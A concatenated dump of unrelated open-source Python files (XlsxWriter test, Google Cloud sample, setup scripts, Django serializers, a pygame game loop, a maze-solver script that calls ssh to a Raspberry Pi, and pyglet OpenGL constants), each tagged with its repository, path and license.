| axeltidemann/self_dot | experiments/weightedSet_experiment1.py | Python | gpl-3.0 | 6,493 |
###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013, John McNamara, [email protected]
#
import unittest
from ...compatibility import StringIO
from ..helperfunctions import _xml_to_list
from ...table import Table
from ...worksheet import Worksheet
from ...workbook import WorksheetMeta
from ...sharedstrings import SharedStringTable
class TestAssembleTable(unittest.TestCase):
"""
Test assembling a complete Table file.
"""
def test_assemble_xml_file(self):
"""Test writing a table"""
self.maxDiff = None
worksheet = Worksheet()
worksheet.worksheet_meta = WorksheetMeta()
worksheet.str_table = SharedStringTable()
# Set the table properties.
worksheet.add_table('C2:F13', {'name': 'MyTable'})
worksheet._prepare_tables(1)
fh = StringIO()
table = Table()
table._set_filehandle(fh)
table._set_properties(worksheet.tables[0])
table._assemble_xml_file()
exp = _xml_to_list("""
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<table xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" id="1" name="MyTable" displayName="MyTable" ref="C2:F13" totalsRowShown="0">
<autoFilter ref="C2:F13"/>
<tableColumns count="4">
<tableColumn id="1" name="Column1"/>
<tableColumn id="2" name="Column2"/>
<tableColumn id="3" name="Column3"/>
<tableColumn id="4" name="Column4"/>
</tableColumns>
<tableStyleInfo name="TableStyleMedium9" showFirstColumn="0" showLastColumn="0" showRowStripes="1" showColumnStripes="0"/>
</table>
""")
got = _xml_to_list(fh.getvalue())
self.assertEqual(got, exp)
if __name__ == '__main__':
unittest.main()
| ivmech/iviny-scope | lib/xlsxwriter/test/table/test_table10.py | Python | gpl-3.0 | 1,992 |
# -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Generated code. DO NOT EDIT!
#
# Snippet for DeleteCertificate
# NOTE: This snippet has been automatically generated for illustrative purposes only.
# It may require modifications to work in your environment.
# To install the latest published package dependency, execute the following:
# python3 -m pip install google-cloud-certificate-manager
# [START certificatemanager_v1_generated_CertificateManager_DeleteCertificate_sync]
from google.cloud import certificate_manager_v1
def sample_delete_certificate():
# Create a client
client = certificate_manager_v1.CertificateManagerClient()
# Initialize request argument(s)
request = certificate_manager_v1.DeleteCertificateRequest(
name="name_value",
)
# Make the request
operation = client.delete_certificate(request=request)
print("Waiting for operation to complete...")
response = operation.result()
# Handle the response
print(response)
# [END certificatemanager_v1_generated_CertificateManager_DeleteCertificate_sync]
| googleapis/python-certificate-manager | samples/generated_samples/certificatemanager_v1_generated_certificate_manager_delete_certificate_sync.py | Python | apache-2.0 | 1,636 |
# Copyright (c) 2013 - 2016 by pyramid_fullauth authors and contributors <see AUTHORS file>
#
# This module is part of pyramid_fullauth and is released under
# the MIT License (MIT): http://opensource.org/licenses/MIT
"""Basic views."""
| fizyk/pyramid_fullauth | src/pyramid_fullauth/views/basic/__init__.py | Python | mit | 237 |
import img_translator as it
import maze_vision_algo as mvsp
import os
import string
def main():
f=open('config.txt','r')
line = f.next()
strpi=line
strpi.replace('\n','')
print(strpi)
rad = it.trans_main()
#print(rad)
p = mvsp.mvsp(rad)
#this=spur.SshShell(hostname="192.168.1.17", username="pi", password= "maze")
#os.system('ssh [email protected]')
#os.system('ssh [email protected] | python maze-vision-driving_dev/Florence/Solve_Path')
#this.run(['cd maze-vision-driving_dev/Florence'])
#this.run(['python Solve_Path '+str(p)])
os.system('ssh pi@'+strpi+' python Florence/Solve_Path.py '+str(p))
print('done!')
main()
| jpschnel/maze-vision | Amazeing.py | Python | apache-2.0 | 664 |
from core import BotAI
from core import Connector
from decorators import message_must_begin_with
from decorators import message_must_begin_with_attr
from decorators import message_must_begin_with_nickname
| sujaymansingh/dudebot | dudebot/__init__.py | Python | bsd-2-clause | 206 |
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
import sys
import os
extra = {}
if sys.version_info >= (3,):
extra['use_2to3'] = True
setup(name='Code2pdf',
version='1.1.0',
install_requires=[
r for r in open('requirements.txt', 'r').read().split('\n') if r],
author='Tushar Gautam',
author_email='[email protected]',
packages=['Code2pdf', ],
entry_points={
'console_scripts': ['code2pdf=Code2pdf:main'],
},
license='GNU General Public License v3 (GPLv3)',
url='https://github.com/tushar-rishav/code2pdf/',
description="Converts given source code into pdf file with syntax \
highlighting, line numbers and much more",
long_description=open('README').read(),
keywords=['pdf', 'markup',
'formatting', 'convert code to pdf', 'python'],
classifiers=[
'Operating System :: POSIX :: Linux',
'Programming Language :: Python',
'Programming Language :: Python :: 3',
'Topic :: System :: Monitoring'
],
)
| tushar-rishav/code2pdf | setup.py | Python | mit | 1,140 |
"""
Copyright (c) 2012-2013 RockStor, Inc. <http://rockstor.com>
This file is part of RockStor.
RockStor is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published
by the Free Software Foundation; either version 2 of the License,
or (at your option) any later version.
RockStor is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
from rest_framework import serializers
from storageadmin.models import (Disk, Pool,)
class DiskInfoSerializer(serializers.ModelSerializer):
class Meta:
model = Disk
class PoolInfoSerializer(serializers.ModelSerializer):
class Meta:
model = Pool
| kamal-gade/rockstor-core | src/rockstor/storageadmin/views/serializers.py | Python | gpl-3.0 | 977 |
# -*- coding: utf-8 -*-
import os
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
import sy, sy.path
setup(
name='sy',
version=sy.__version__,
url='http://sy.afajl.com',
license='BSD',
author='Paul Diaconescu',
author_email='[email protected]',
description='Simple tools for system administration tasks',
long_description=sy.path.slurp('README.rst'),
classifiers=[
'Development Status :: 3 - Alpha',
'Environment :: Console',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Operating System :: Unix',
'Programming Language :: Python',
'Topic :: System :: Systems Administration',
'Topic :: Software Development :: Libraries :: Python Modules'
],
packages=['sy', 'sy.net', 'sy.net.intf'],
package_data={
'sy': ['lib/*']
},
platforms='Python 2.4 and later on Unix',
install_requires=['logbook>=0.3', 'ipaddr>=2.0.0']
)
| afajl/sy | setup.py | Python | bsd-3-clause | 1,024 |
__author__ = 'Simon'
import pygame
import Constants
import datetime
from Entities.Dsoul import Dsoul
from Levels.Stage.Stage_01 import Stage_01
def main():
""" Main Program """
pygame.init()
# Manage the screen
size = [Constants.SCREEN_WIDTH, Constants.SCREEN_HEIGHT]
screen = pygame.display.set_mode(size)
pygame.display.set_caption("HackSlashDsoul")
#create the main player
main_player = Dsoul('Resources/Sprites/phommarath.png')
# Create the level
level_list = []
level_list.append(Stage_01(main_player))
# Set the level
current_level_num = 0
current_level = level_list[current_level_num]
active_sprite_list = pygame.sprite.Group()
main_player.level = current_level
main_player.rect.x = 100
main_player.rect.y = Constants.SCREEN_HEIGHT - main_player.rect.height
active_sprite_list.add(main_player)
last_input_key = None
last_input_time = None
# Used to manage how fast the screen updates
clock = pygame.time.Clock()
# -------- Main Program Loop -----------
done = False
while not done:
for event in pygame.event.get(): # User did something
if event.type == pygame.QUIT: # If user clicked close
done = True # Flag that we are done so we exit this loop
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_LEFT:
if (last_input_key == pygame.K_LEFT and pygame.time.get_ticks()-last_input_time < 100) or main_player._isRunning == True:
main_player.run_left()
else:
main_player.go_left()
last_input_key = event.key
if event.key == pygame.K_RIGHT:
if (last_input_key == pygame.K_RIGHT and pygame.time.get_ticks()-last_input_time < 100) or main_player._isRunning == True:
main_player.run_right()
else:
main_player.go_right()
last_input_key = event.key
if event.key == pygame.K_a:
main_player.jump()
last_input_key = event.key
if event.type == pygame.KEYUP:
if event.key == pygame.K_LEFT and main_player.speed_vector_x < 0:
main_player.stop()
if event.key == pygame.K_RIGHT and main_player.speed_vector_x > 0:
main_player.stop()
last_input_time = pygame.time.get_ticks()
active_sprite_list.update()
current_level.draw(screen)
active_sprite_list.draw(screen)
# Limit to 60 frames per second
clock.tick(60)
# Go ahead and update the screen with what we've drawn.
pygame.display.flip()
# Be IDLE friendly. If you forget this line, the program will 'hang'
# on exit.
pygame.quit()
if __name__ == "__main__":
main()
| dreadsoul632/HackSlashDsoul | trunk/HackSlashDsoul.py | Python | gpl-2.0 | 2,962 |
# ----------------------------------------------------------------------------
# pyglet
# Copyright (c) 2006-2007 Alex Holkner
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
# * Neither the name of the pyglet nor the names of its
# contributors may be used to endorse or promote products
# derived from this software without specific prior written
# permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
# ----------------------------------------------------------------------------
'''Wrapper for /usr/include/GL/gl.h
Generated by tools/gengl.py.
Do not modify this file.
'''
__docformat__ = 'restructuredtext'
__version__ = '$Id: gl.py 878 2007-06-09 04:58:51Z Alex.Holkner $'
from ctypes import *
from pyglet.gl.lib import link_GL as _link_function
from pyglet.gl.lib import c_ptrdiff_t
# BEGIN GENERATED CONTENT (do not edit below this line)
# This content is generated by tools/gengl.py.
# Wrapper for /usr/include/GL/gl.h
GLenum = c_uint # /usr/include/GL/gl.h:53
GLboolean = c_ubyte # /usr/include/GL/gl.h:54
GLbitfield = c_uint # /usr/include/GL/gl.h:55
GLbyte = c_char # /usr/include/GL/gl.h:56
GLshort = c_short # /usr/include/GL/gl.h:57
GLint = c_int # /usr/include/GL/gl.h:58
GLsizei = c_int # /usr/include/GL/gl.h:59
GLubyte = c_ubyte # /usr/include/GL/gl.h:60
GLushort = c_ushort # /usr/include/GL/gl.h:61
GLuint = c_uint # /usr/include/GL/gl.h:62
GLfloat = c_float # /usr/include/GL/gl.h:63
GLclampf = c_float # /usr/include/GL/gl.h:64
GLdouble = c_double # /usr/include/GL/gl.h:65
GLclampd = c_double # /usr/include/GL/gl.h:66
GLvoid = None # /usr/include/GL/gl.h:67
GL_VERSION_1_1 = 1 # /usr/include/GL/gl.h:77
GL_CURRENT_BIT = 1 # /usr/include/GL/gl.h:80
GL_POINT_BIT = 2 # /usr/include/GL/gl.h:81
GL_LINE_BIT = 4 # /usr/include/GL/gl.h:82
GL_POLYGON_BIT = 8 # /usr/include/GL/gl.h:83
GL_POLYGON_STIPPLE_BIT = 16 # /usr/include/GL/gl.h:84
GL_PIXEL_MODE_BIT = 32 # /usr/include/GL/gl.h:85
GL_LIGHTING_BIT = 64 # /usr/include/GL/gl.h:86
GL_FOG_BIT = 128 # /usr/include/GL/gl.h:87
GL_DEPTH_BUFFER_BIT = 256 # /usr/include/GL/gl.h:88
GL_ACCUM_BUFFER_BIT = 512 # /usr/include/GL/gl.h:89
GL_STENCIL_BUFFER_BIT = 1024 # /usr/include/GL/gl.h:90
GL_VIEWPORT_BIT = 2048 # /usr/include/GL/gl.h:91
GL_TRANSFORM_BIT = 4096 # /usr/include/GL/gl.h:92
GL_ENABLE_BIT = 8192 # /usr/include/GL/gl.h:93
GL_COLOR_BUFFER_BIT = 16384 # /usr/include/GL/gl.h:94
GL_HINT_BIT = 32768 # /usr/include/GL/gl.h:95
GL_EVAL_BIT = 65536 # /usr/include/GL/gl.h:96
GL_LIST_BIT = 131072 # /usr/include/GL/gl.h:97
GL_TEXTURE_BIT = 262144 # /usr/include/GL/gl.h:98
GL_SCISSOR_BIT = 524288 # /usr/include/GL/gl.h:99
GL_ALL_ATTRIB_BITS = 4294967295 # /usr/include/GL/gl.h:100
GL_CLIENT_PIXEL_STORE_BIT = 1 # /usr/include/GL/gl.h:109
GL_CLIENT_VERTEX_ARRAY_BIT = 2 # /usr/include/GL/gl.h:110
GL_CLIENT_ALL_ATTRIB_BITS = 4294967295 # /usr/include/GL/gl.h:111
GL_FALSE = 0 # /usr/include/GL/gl.h:114
GL_TRUE = 1 # /usr/include/GL/gl.h:115
GL_POINTS = 0 # /usr/include/GL/gl.h:118
GL_LINES = 1 # /usr/include/GL/gl.h:119
GL_LINE_LOOP = 2 # /usr/include/GL/gl.h:120
GL_LINE_STRIP = 3 # /usr/include/GL/gl.h:121
GL_TRIANGLES = 4 # /usr/include/GL/gl.h:122
GL_TRIANGLE_STRIP = 5 # /usr/include/GL/gl.h:123
GL_TRIANGLE_FAN = 6 # /usr/include/GL/gl.h:124
GL_QUADS = 7 # /usr/include/GL/gl.h:125
GL_QUAD_STRIP = 8 # /usr/include/GL/gl.h:126
GL_POLYGON = 9 # /usr/include/GL/gl.h:127
GL_ACCUM = 256 # /usr/include/GL/gl.h:130
GL_LOAD = 257 # /usr/include/GL/gl.h:131
GL_RETURN = 258 # /usr/include/GL/gl.h:132
GL_MULT = 259 # /usr/include/GL/gl.h:133
GL_ADD = 260 # /usr/include/GL/gl.h:134
GL_NEVER = 512 # /usr/include/GL/gl.h:137
GL_LESS = 513 # /usr/include/GL/gl.h:138
GL_EQUAL = 514 # /usr/include/GL/gl.h:139
GL_LEQUAL = 515 # /usr/include/GL/gl.h:140
GL_GREATER = 516 # /usr/include/GL/gl.h:141
GL_NOTEQUAL = 517 # /usr/include/GL/gl.h:142
GL_GEQUAL = 518 # /usr/include/GL/gl.h:143
GL_ALWAYS = 519 # /usr/include/GL/gl.h:144
GL_ZERO = 0 # /usr/include/GL/gl.h:147
GL_ONE = 1 # /usr/include/GL/gl.h:148
GL_SRC_COLOR = 768 # /usr/include/GL/gl.h:149
GL_ONE_MINUS_SRC_COLOR = 769 # /usr/include/GL/gl.h:150
GL_SRC_ALPHA = 770 # /usr/include/GL/gl.h:151
GL_ONE_MINUS_SRC_ALPHA = 771 # /usr/include/GL/gl.h:152
GL_DST_ALPHA = 772 # /usr/include/GL/gl.h:153
GL_ONE_MINUS_DST_ALPHA = 773 # /usr/include/GL/gl.h:154
GL_DST_COLOR = 774 # /usr/include/GL/gl.h:159
GL_ONE_MINUS_DST_COLOR = 775 # /usr/include/GL/gl.h:160
GL_SRC_ALPHA_SATURATE = 776 # /usr/include/GL/gl.h:161
GL_NONE = 0 # /usr/include/GL/gl.h:205
GL_FRONT_LEFT = 1024 # /usr/include/GL/gl.h:206
GL_FRONT_RIGHT = 1025 # /usr/include/GL/gl.h:207
GL_BACK_LEFT = 1026 # /usr/include/GL/gl.h:208
GL_BACK_RIGHT = 1027 # /usr/include/GL/gl.h:209
GL_FRONT = 1028 # /usr/include/GL/gl.h:210
GL_BACK = 1029 # /usr/include/GL/gl.h:211
GL_LEFT = 1030 # /usr/include/GL/gl.h:212
GL_RIGHT = 1031 # /usr/include/GL/gl.h:213
GL_FRONT_AND_BACK = 1032 # /usr/include/GL/gl.h:214
GL_AUX0 = 1033 # /usr/include/GL/gl.h:215
GL_AUX1 = 1034 # /usr/include/GL/gl.h:216
GL_AUX2 = 1035 # /usr/include/GL/gl.h:217
GL_AUX3 = 1036 # /usr/include/GL/gl.h:218
GL_NO_ERROR = 0 # /usr/include/GL/gl.h:289
GL_INVALID_ENUM = 1280 # /usr/include/GL/gl.h:290
GL_INVALID_VALUE = 1281 # /usr/include/GL/gl.h:291
GL_INVALID_OPERATION = 1282 # /usr/include/GL/gl.h:292
GL_STACK_OVERFLOW = 1283 # /usr/include/GL/gl.h:293
GL_STACK_UNDERFLOW = 1284 # /usr/include/GL/gl.h:294
GL_OUT_OF_MEMORY = 1285 # /usr/include/GL/gl.h:295
GL_TABLE_TOO_LARGE = 32817 # /usr/include/GL/gl.h:296
GL_2D = 1536 # /usr/include/GL/gl.h:299
GL_3D = 1537 # /usr/include/GL/gl.h:300
GL_3D_COLOR = 1538 # /usr/include/GL/gl.h:301
GL_3D_COLOR_TEXTURE = 1539 # /usr/include/GL/gl.h:302
GL_4D_COLOR_TEXTURE = 1540 # /usr/include/GL/gl.h:303
GL_PASS_THROUGH_TOKEN = 1792 # /usr/include/GL/gl.h:306
GL_POINT_TOKEN = 1793 # /usr/include/GL/gl.h:307
GL_LINE_TOKEN = 1794 # /usr/include/GL/gl.h:308
GL_POLYGON_TOKEN = 1795 # /usr/include/GL/gl.h:309
GL_BITMAP_TOKEN = 1796 # /usr/include/GL/gl.h:310
GL_DRAW_PIXEL_TOKEN = 1797 # /usr/include/GL/gl.h:311
GL_COPY_PIXEL_TOKEN = 1798 # /usr/include/GL/gl.h:312
GL_LINE_RESET_TOKEN = 1799 # /usr/include/GL/gl.h:313
GL_EXP = 2048 # /usr/include/GL/gl.h:317
GL_EXP2 = 2049 # /usr/include/GL/gl.h:318
GL_CW = 2304 # /usr/include/GL/gl.h:329
GL_CCW = 2305 # /usr/include/GL/gl.h:330
GL_COEFF = 2560 # /usr/include/GL/gl.h:333
GL_ORDER = 2561 # /usr/include/GL/gl.h:334
GL_DOMAIN = 2562 # /usr/include/GL/gl.h:335
GL_PIXEL_MAP_I_TO_I = 3184 # /usr/include/GL/gl.h:338
GL_PIXEL_MAP_S_TO_S = 3185 # /usr/include/GL/gl.h:339
GL_PIXEL_MAP_I_TO_R = 3186 # /usr/include/GL/gl.h:340
GL_PIXEL_MAP_I_TO_G = 3187 # /usr/include/GL/gl.h:341
GL_PIXEL_MAP_I_TO_B = 3188 # /usr/include/GL/gl.h:342
GL_PIXEL_MAP_I_TO_A = 3189 # /usr/include/GL/gl.h:343
GL_PIXEL_MAP_R_TO_R = 3190 # /usr/include/GL/gl.h:344
GL_PIXEL_MAP_G_TO_G = 3191 # /usr/include/GL/gl.h:345
GL_PIXEL_MAP_B_TO_B = 3192 # /usr/include/GL/gl.h:346
GL_PIXEL_MAP_A_TO_A = 3193 # /usr/include/GL/gl.h:347
GL_VERTEX_ARRAY_POINTER = 32910 # /usr/include/GL/gl.h:350
GL_NORMAL_ARRAY_POINTER = 32911 # /usr/include/GL/gl.h:351
GL_COLOR_ARRAY_POINTER = 32912 # /usr/include/GL/gl.h:352
GL_INDEX_ARRAY_POINTER = 32913 # /usr/include/GL/gl.h:353
GL_TEXTURE_COORD_ARRAY_POINTER = 32914 # /usr/include/GL/gl.h:354
GL_EDGE_FLAG_ARRAY_POINTER = 32915 # /usr/include/GL/gl.h:355
GL_CURRENT_COLOR = 2816 # /usr/include/GL/gl.h:358
GL_CURRENT_INDEX = 2817 # /usr/include/GL/gl.h:359
GL_CURRENT_NORMAL = 2818 # /usr/include/GL/gl.h:360
GL_CURRENT_TEXTURE_COORDS = 2819 # /usr/include/GL/gl.h:361
GL_CURRENT_RASTER_COLOR = 2820 # /usr/include/GL/gl.h:362
GL_CURRENT_RASTER_INDEX = 2821 # /usr/include/GL/gl.h:363
GL_CURRENT_RASTER_TEXTURE_COORDS = 2822 # /usr/include/GL/gl.h:364
GL_CURRENT_RASTER_POSITION = 2823 # /usr/include/GL/gl.h:365
GL_CURRENT_RASTER_POSITION_VALID = 2824 # /usr/include/GL/gl.h:366
GL_CURRENT_RASTER_DISTANCE = 2825 # /usr/include/GL/gl.h:367
GL_POINT_SMOOTH = 2832 # /usr/include/GL/gl.h:368
GL_POINT_SIZE = 2833 # /usr/include/GL/gl.h:369
GL_SMOOTH_POINT_SIZE_RANGE = 2834 # /usr/include/GL/gl.h:370
GL_SMOOTH_POINT_SIZE_GRANULARITY = 2835 # /usr/include/GL/gl.h:371
GL_POINT_SIZE_RANGE = 2834 # /usr/include/GL/gl.h:372
GL_POINT_SIZE_GRANULARITY = 2835 # /usr/include/GL/gl.h:373
GL_LINE_SMOOTH = 2848 # /usr/include/GL/gl.h:374
GL_LINE_WIDTH = 2849 # /usr/include/GL/gl.h:375
GL_SMOOTH_LINE_WIDTH_RANGE = 2850 # /usr/include/GL/gl.h:376
GL_SMOOTH_LINE_WIDTH_GRANULARITY = 2851 # /usr/include/GL/gl.h:377
GL_LINE_WIDTH_RANGE = 2850 # /usr/include/GL/gl.h:378
GL_LINE_WIDTH_GRANULARITY = 2851 # /usr/include/GL/gl.h:379
GL_LINE_STIPPLE = 2852 # /usr/include/GL/gl.h:380
GL_LINE_STIPPLE_PATTERN = 2853 # /usr/include/GL/gl.h:381
GL_LINE_STIPPLE_REPEAT = 2854 # /usr/include/GL/gl.h:382
GL_LIST_MODE = 2864 # /usr/include/GL/gl.h:383
GL_MAX_LIST_NESTING = 2865 # /usr/include/GL/gl.h:384
GL_LIST_BASE = 2866 # /usr/include/GL/gl.h:385
GL_LIST_INDEX = 2867 # /usr/include/GL/gl.h:386
GL_POLYGON_MODE = 2880 # /usr/include/GL/gl.h:387
GL_POLYGON_SMOOTH = 2881 # /usr/include/GL/gl.h:388
GL_POLYGON_STIPPLE = 2882 # /usr/include/GL/gl.h:389
GL_EDGE_FLAG = 2883 # /usr/include/GL/gl.h:390
GL_CULL_FACE = 2884 # /usr/include/GL/gl.h:391
GL_CULL_FACE_MODE = 2885 # /usr/include/GL/gl.h:392
GL_FRONT_FACE = 2886 # /usr/include/GL/gl.h:393
GL_LIGHTING = 2896 # /usr/include/GL/gl.h:394
GL_LIGHT_MODEL_LOCAL_VIEWER = 2897 # /usr/include/GL/gl.h:395
GL_LIGHT_MODEL_TWO_SIDE = 2898 # /usr/include/GL/gl.h:396
GL_LIGHT_MODEL_AMBIENT = 2899 # /usr/include/GL/gl.h:397
GL_SHADE_MODEL = 2900 # /usr/include/GL/gl.h:398
GL_COLOR_MATERIAL_FACE = 2901 # /usr/include/GL/gl.h:399
GL_COLOR_MATERIAL_PARAMETER = 2902 # /usr/include/GL/gl.h:400
GL_COLOR_MATERIAL = 2903 # /usr/include/GL/gl.h:401
GL_FOG = 2912 # /usr/include/GL/gl.h:402
GL_FOG_INDEX = 2913 # /usr/include/GL/gl.h:403
GL_FOG_DENSITY = 2914 # /usr/include/GL/gl.h:404
GL_FOG_START = 2915 # /usr/include/GL/gl.h:405
GL_FOG_END = 2916 # /usr/include/GL/gl.h:406
GL_FOG_MODE = 2917 # /usr/include/GL/gl.h:407
GL_FOG_COLOR = 2918 # /usr/include/GL/gl.h:408
GL_DEPTH_RANGE = 2928 # /usr/include/GL/gl.h:409
GL_DEPTH_TEST = 2929 # /usr/include/GL/gl.h:410
GL_DEPTH_WRITEMASK = 2930 # /usr/include/GL/gl.h:411
GL_DEPTH_CLEAR_VALUE = 2931 # /usr/include/GL/gl.h:412
GL_DEPTH_FUNC = 2932 # /usr/include/GL/gl.h:413
GL_ACCUM_CLEAR_VALUE = 2944 # /usr/include/GL/gl.h:414
GL_STENCIL_TEST = 2960 # /usr/include/GL/gl.h:415
GL_STENCIL_CLEAR_VALUE = 2961 # /usr/include/GL/gl.h:416
GL_STENCIL_FUNC = 2962 # /usr/include/GL/gl.h:417
GL_STENCIL_VALUE_MASK = 2963 # /usr/include/GL/gl.h:418
GL_STENCIL_FAIL = 2964 # /usr/include/GL/gl.h:419
GL_STENCIL_PASS_DEPTH_FAIL = 2965 # /usr/include/GL/gl.h:420
GL_STENCIL_PASS_DEPTH_PASS = 2966 # /usr/include/GL/gl.h:421
GL_STENCIL_REF = 2967 # /usr/include/GL/gl.h:422
GL_STENCIL_WRITEMASK = 2968 # /usr/include/GL/gl.h:423
GL_MATRIX_MODE = 2976 # /usr/include/GL/gl.h:424
GL_NORMALIZE = 2977 # /usr/include/GL/gl.h:425
GL_VIEWPORT = 2978 # /usr/include/GL/gl.h:426
GL_MODELVIEW_STACK_DEPTH = 2979 # /usr/include/GL/gl.h:427
GL_PROJECTION_STACK_DEPTH = 2980 # /usr/include/GL/gl.h:428
GL_TEXTURE_STACK_DEPTH = 2981 # /usr/include/GL/gl.h:429
GL_MODELVIEW_MATRIX = 2982 # /usr/include/GL/gl.h:430
GL_PROJECTION_MATRIX = 2983 # /usr/include/GL/gl.h:431
GL_TEXTURE_MATRIX = 2984 # /usr/include/GL/gl.h:432
GL_ATTRIB_STACK_DEPTH = 2992 # /usr/include/GL/gl.h:433
GL_CLIENT_ATTRIB_STACK_DEPTH = 2993 # /usr/include/GL/gl.h:434
GL_ALPHA_TEST = 3008 # /usr/include/GL/gl.h:435
GL_ALPHA_TEST_FUNC = 3009 # /usr/include/GL/gl.h:436
GL_ALPHA_TEST_REF = 3010 # /usr/include/GL/gl.h:437
GL_DITHER = 3024 # /usr/include/GL/gl.h:438
GL_BLEND_DST = 3040 # /usr/include/GL/gl.h:439
GL_BLEND_SRC = 3041 # /usr/include/GL/gl.h:440
GL_BLEND = 3042 # /usr/include/GL/gl.h:441
GL_LOGIC_OP_MODE = 3056 # /usr/include/GL/gl.h:442
GL_INDEX_LOGIC_OP = 3057 # /usr/include/GL/gl.h:443
GL_LOGIC_OP = 3057 # /usr/include/GL/gl.h:444
GL_COLOR_LOGIC_OP = 3058 # /usr/include/GL/gl.h:445
GL_AUX_BUFFERS = 3072 # /usr/include/GL/gl.h:446
GL_DRAW_BUFFER = 3073 # /usr/include/GL/gl.h:447
GL_READ_BUFFER = 3074 # /usr/include/GL/gl.h:448
GL_SCISSOR_BOX = 3088 # /usr/include/GL/gl.h:449
GL_SCISSOR_TEST = 3089 # /usr/include/GL/gl.h:450
GL_INDEX_CLEAR_VALUE = 3104 # /usr/include/GL/gl.h:451
GL_INDEX_WRITEMASK = 3105 # /usr/include/GL/gl.h:452
GL_COLOR_CLEAR_VALUE = 3106 # /usr/include/GL/gl.h:453
GL_COLOR_WRITEMASK = 3107 # /usr/include/GL/gl.h:454
GL_INDEX_MODE = 3120 # /usr/include/GL/gl.h:455
GL_RGBA_MODE = 3121 # /usr/include/GL/gl.h:456
GL_DOUBLEBUFFER = 3122 # /usr/include/GL/gl.h:457
GL_STEREO = 3123 # /usr/include/GL/gl.h:458
GL_RENDER_MODE = 3136 # /usr/include/GL/gl.h:459
GL_PERSPECTIVE_CORRECTION_HINT = 3152 # /usr/include/GL/gl.h:460
GL_POINT_SMOOTH_HINT = 3153 # /usr/include/GL/gl.h:461
GL_LINE_SMOOTH_HINT = 3154 # /usr/include/GL/gl.h:462
GL_POLYGON_SMOOTH_HINT = 3155 # /usr/include/GL/gl.h:463
GL_FOG_HINT = 3156 # /usr/include/GL/gl.h:464
GL_TEXTURE_GEN_S = 3168 # /usr/include/GL/gl.h:465
GL_TEXTURE_GEN_T = 3169 # /usr/include/GL/gl.h:466
GL_TEXTURE_GEN_R = 3170 # /usr/include/GL/gl.h:467
GL_TEXTURE_GEN_Q = 3171 # /usr/include/GL/gl.h:468
GL_PIXEL_MAP_I_TO_I_SIZE = 3248 # /usr/include/GL/gl.h:469
GL_PIXEL_MAP_S_TO_S_SIZE = 3249 # /usr/include/GL/gl.h:470
GL_PIXEL_MAP_I_TO_R_SIZE = 3250 # /usr/include/GL/gl.h:471
GL_PIXEL_MAP_I_TO_G_SIZE = 3251 # /usr/include/GL/gl.h:472
GL_PIXEL_MAP_I_TO_B_SIZE = 3252 # /usr/include/GL/gl.h:473
GL_PIXEL_MAP_I_TO_A_SIZE = 3253 # /usr/include/GL/gl.h:474
GL_PIXEL_MAP_R_TO_R_SIZE = 3254 # /usr/include/GL/gl.h:475
GL_PIXEL_MAP_G_TO_G_SIZE = 3255 # /usr/include/GL/gl.h:476
GL_PIXEL_MAP_B_TO_B_SIZE = 3256 # /usr/include/GL/gl.h:477
GL_PIXEL_MAP_A_TO_A_SIZE = 3257 # /usr/include/GL/gl.h:478
GL_UNPACK_SWAP_BYTES = 3312 # /usr/include/GL/gl.h:479
GL_UNPACK_LSB_FIRST = 3313 # /usr/include/GL/gl.h:480
GL_UNPACK_ROW_LENGTH = 3314 # /usr/include/GL/gl.h:481
GL_UNPACK_SKIP_ROWS = 3315 # /usr/include/GL/gl.h:482
GL_UNPACK_SKIP_PIXELS = 3316 # /usr/include/GL/gl.h:483
GL_UNPACK_ALIGNMENT = 3317 # /usr/include/GL/gl.h:484
GL_PACK_SWAP_BYTES = 3328 # /usr/include/GL/gl.h:485
GL_PACK_LSB_FIRST = 3329 # /usr/include/GL/gl.h:486
GL_PACK_ROW_LENGTH = 3330 # /usr/include/GL/gl.h:487
GL_PACK_SKIP_ROWS = 3331 # /usr/include/GL/gl.h:488
GL_PACK_SKIP_PIXELS = 3332 # /usr/include/GL/gl.h:489
GL_PACK_ALIGNMENT = 3333 # /usr/include/GL/gl.h:490
GL_MAP_COLOR = 3344 # /usr/include/GL/gl.h:491
